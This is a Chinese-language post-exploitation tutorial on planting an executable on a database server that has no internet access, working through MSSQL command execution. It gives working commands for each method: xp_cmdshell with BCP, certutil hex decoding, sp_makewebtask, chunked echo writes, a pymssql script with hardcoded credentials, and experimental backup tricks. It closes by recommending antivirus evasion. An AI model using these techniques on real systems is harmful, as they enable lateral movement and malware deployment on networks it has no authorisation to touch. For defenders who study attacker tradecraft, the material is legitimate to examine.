关于站库分离数据库不出网落地Exe方式探究-Mssql
字数 1315 2025-08-29 08:31:41
MSSQL站库分离环境下无Webshell落地EXE文件方法研究
1. 前言
在站库分离且数据库不出网的环境中,当仅拥有MSSQL命令执行权限而无Webshell时,横向移动需要将工具通过数据库落地到目标服务器。本文详细研究多种在MSSQL环境下落地EXE文件的技术方法。
2. 环境准备
- 操作系统:Windows 10 x64
- 数据库版本:MSSQL 2019
- 权限要求:MSSQL执行命令权限
3. BCP方法
3.1 方法简介
BCP(Bulk Copy Program)是MSSQL提供的大容量复制工具,可用于导入导出数据。
3.2 适用版本
全版本MSSQL支持
3.3 操作步骤
- 创建存储二进制数据的表:
create table info(data image)
- 插入EXE文件的16进制数据(注意添加0x前缀):
insert into info(data) values (0x4D5A900003000000...)
- 使用BCP导出数据:
exec master..xp_cmdshell 'bcp test.dbo.info out c:\users\public\12.txt -T -c'
参数说明:
-T:可信任连接-c:字符类型
- 解码16进制文件为EXE:
exec master..xp_cmdshell 'certutil -decodehex c:\users\public\12.txt c:\users\public\12.exe'
或使用Python解码:
python -c "import binascii;text=open('res.exe','ab');text.write(binascii.a2b_hex(open('exe-hex.txt').read()))"
4. sp_makewebtask方法
4.1 方法简介
通过Web Assistant Procedures扩展导出文档。
4.2 适用版本
仅限MSSQL 2008及以下版本
4.3 操作步骤
- 开启Web Assistant Procedures扩展:
exec sp_configure 'show advanced options', 1;
RECONFIGURE;
exec sp_configure 'Web Assistant Procedures',1;
RECONFIGURE;
- 导出16进制数据:
exec sp_makewebtask '\\路径\\hex.txt','select''exe_hex'' '
- 解码为EXE文件:
exec master..xp_cmdshell 'certutil -decodehex \\路径\\hex.txt \\路径\\test.exe'
- 关闭扩展(可选):
exec sp_configure 'show advanced options', 1;
RECONFIGURE;
exec sp_configure 'Web Assistant Procedures',0;
RECONFIGURE;
5. Echo方法
5.1 方法简介
使用Windows的echo命令导出16进制数据。
5.2 操作步骤
- 使用set /p实现不换行追加:
exec master..xp_cmdshell 'echo|set /p="4D5A900003" > c:\users\public\12.txt'
-
分段追加数据(Windows单次最多导出约8KB数据)
-
解码为EXE文件:
exec master..xp_cmdshell 'certutil -decodehex c:\users\public\12.txt c:\users\public\12.exe'
6. Python方法
6.1 方法简介
使用Python连接MSSQL并导出二进制数据。
6.2 前提条件
- 目标系统安装Python
- 知道MSSQL账号密码
- Python环境支持pymssql库
6.3 操作代码
import pymssql
conn = pymssql.connect(
host='192.168.112.149',
user='sa',
password='123456',
database='test',
charset='utf8'
)
cur = conn.cursor()
sqlstr = 'select data from info'
cur.execute(sqlstr)
data = cur.fetchall()[0][0].strip()
open('tesz.exe','ab').write(data)
cur.close()
conn.close()
7. 备份方法(实验性)
7.1 日志备份
- 设置数据库为完全恢复模式:
alter database 数据库名称 set RECOVERY FULL
- 创建二进制数据表:
create table info (data image)
- 备份数据库:
backup database 数据库名称 to disk = '\\path\\' with init
- 插入16进制数据:
insert into cmd (a) values (0x执行文件的16进制)
- 备份日志:
backup log 数据库名称 to disk = 'path'
注意:此方法导出的16进制数据会被隔断,目前无法直接使用。
7.2 差异备份
- 完整备份数据库:
backup database test to disk = 'C:\Users\Public\bak.log' with init
- 创建数据表并插入16进制:
create table test.dbo.info (data image);
insert into info (data) values ('可执行文件的16进制')
- 差异备份:
backup database test to disk = 'C:\Users\Public\test2.log' with differential,format
注意:同样存在数据被隔断的问题。
8. 方法总结
| 方法 | 适用版本 | 优点 | 缺点 |
|---|---|---|---|
| BCP | 全版本 | 支持性好,操作简单 | 需要xp_cmdshell权限 |
| sp_makewebtask | ≤2008 | 无需BCP | 仅限旧版本 |
| Echo | 全版本 | 无需额外工具 | 操作繁琐,单次限制8KB |
| Python | 全版本 | 灵活可控 | 需要Python环境 |
| 备份方法 | 全版本 | 理论可行 | 实际数据被隔断 |
9. 优化思考
- 对于Echo方法,可在解码前使用编程语言处理换行符
- 日志备份方法可尝试用编程语言解决数据隔断问题
- 实际应用中需结合免杀技术绕过AV检测